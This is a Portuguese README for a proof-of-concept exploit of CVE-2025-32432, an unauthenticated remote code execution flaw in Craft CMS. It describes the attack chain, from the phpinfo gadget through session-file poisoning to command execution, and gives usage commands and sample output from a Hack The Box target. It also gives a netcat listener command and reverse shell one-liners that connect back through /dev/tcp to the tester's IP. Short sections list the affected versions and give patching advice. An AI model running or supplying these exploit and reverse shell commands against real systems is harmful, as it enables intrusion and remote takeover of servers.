
Prova de conceito para um único alvo da CVE-2025-32432, uma execução remota de código sem autenticação no Craft CMS. Realiza confirmação de vulnerabilidade através do gadget phpinfo e execução opcional de comandos por meio de uma cadeia de inclusão de arquivos de sessão.
Apenas testes autorizados. Este repositório destina-se a ambientes de laboratório controlados, plataformas CTF como Hack The Box, validação interna e verificação defensiva. Não execute isto contra sistemas que você não possui ou não tem permissão explícita para testar.
Este projeto contém uma prova de conceito de alvo único para o CVE-2025-32432, um problema de execução remota de código no Craft CMS sem autenticação.
O PoC realiza duas etapas:
phpinfo() através do endpoint de geração de transformação de assets do Craft CMS.O script foi projetado para evitar um problema comum de falso-negativo visto em alguns PoCs públicos: uma requisição normal de transformação de imagem pode retornar 404, enquanto o mesmo endpoint e assetId ainda funcionam quando o payload real do gadget é usado.
De acordo com o aviso oficial do Craft CMS e bancos de dados de avisos públicos, as faixas afetadas são:
| Branch do Craft CMS | Versões afetadas | Versão corrigida |
|---|---|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
Atualize para uma versão corrigida imediatamente se você for responsável por uma implantação do Craft CMS.
O PoC segue este fluxo:
Get CSRF token
|
v
Test endpoint + assetId with phpinfo gadget
|
v
Confirm vulnerable response contains PHP Version / PHP License
|
v
Poison Craft session return URL with PHP payload
|
v
Trigger yii\rbac\PhpManager to include the PHP session file
|
v
Execute optional command
Detalhes importantes de implementação:
/var/lib/php/sessions/var/lib/php/session/tmp--timeout está incluída para cenários de reverse shell.craftcms_cve_2025_32432_public_poc.py Main single-target PoC
README.md Project documentation
requestsurllib3Instale as dependências:
python3 -m pip install requests urllib3
Isso confirma a vulnerabilidade usando apenas o gadget phpinfo.
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
Saída esperada de sucesso:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
A resposta do phpinfo é salva como:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
Exemplo de saída bem-sucedida:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Use isto quando você já conhece os valores funcionais.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
Alguns alvos podem usar um front controller personalizado, como x.php.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
Isso testa rotas como:
http://target.local/x.php?p=admin/actions/assets/generate-transform
Inicie um listener primeiro:
rlwrap -cAr nc -lvnp 12345
Depois execute o PoC com um comando de reverse shell:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 desabilita o timeout da requisição. Isso é útil porque reverse shells geralmente mantêm a requisição HTTP aberta.
Variante destacada:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
| Opção | Descrição | Padrão |
|---|---|---|
-u, --url | URL base do alvo | Obrigatório |
-c, --cmd | Comando opcional para executar após confirmação do phpinfo | Nenhum |
--front | Nome do arquivo front controller | index.php |
-s, --scan-max | Máximo assetId para testar com gadget phpinfo | 50 |
-a, --asset | ID de asset conhecido | Nenhum |
--endpoint | Endpoint generate-transform conhecido | Nenhum |
--session-dir | Diretório de sessão PHP. Pode ser fornecido várias vezes | Lista interna |
--timeout | Timeout da requisição para gatilho de comando. Use 0 para sem timeout | 20 |
assetId 0 -> HTTP 404 durante a varredura normalNão confie em uma requisição normal de transformação para descoberta. Alguns alvos retornam 404 para um corpo de transformação normal mas ainda executam o payload do gadget. Este PoC descobre combinações válidas usando o próprio gadget phpinfo.
Tente especificar o diretório de sessão manualmente:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
Depois tente:
--session-dir /var/lib/php/session
ou:
--session-dir /tmp
Use uma das seguintes abordagens:
--timeout 0
Use um payload destacado com setsid ou nohup.
Confirme se seu IP de retorno está correto:
ip -br a | grep tun
Isso pode ser normal se o reverse shell conectou com sucesso. Verifique seu listener antes de tratar o timeout como uma falha.
Tente um comando mais simples primeiro:
-c "id"
-c "whoami"
-c "pwd"
Se comandos simples funcionarem, mas comandos complexos falharem, cite o comando cuidadosamente ou use um payload de shell destacado.
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Se você administra uma instância do Craft CMS:
3.9.15, 4.14.15, 5.6.17 ou superior..env e credenciais do banco de dados se houver suspeita de exploração.Este projeto é fornecido apenas para fins educacionais, de pesquisa, laboratório e validação defensiva. O autor não é responsável pelo uso indevido. Teste apenas sistemas que você possui ou para os quais possui permissão explícita por escrito para avaliar.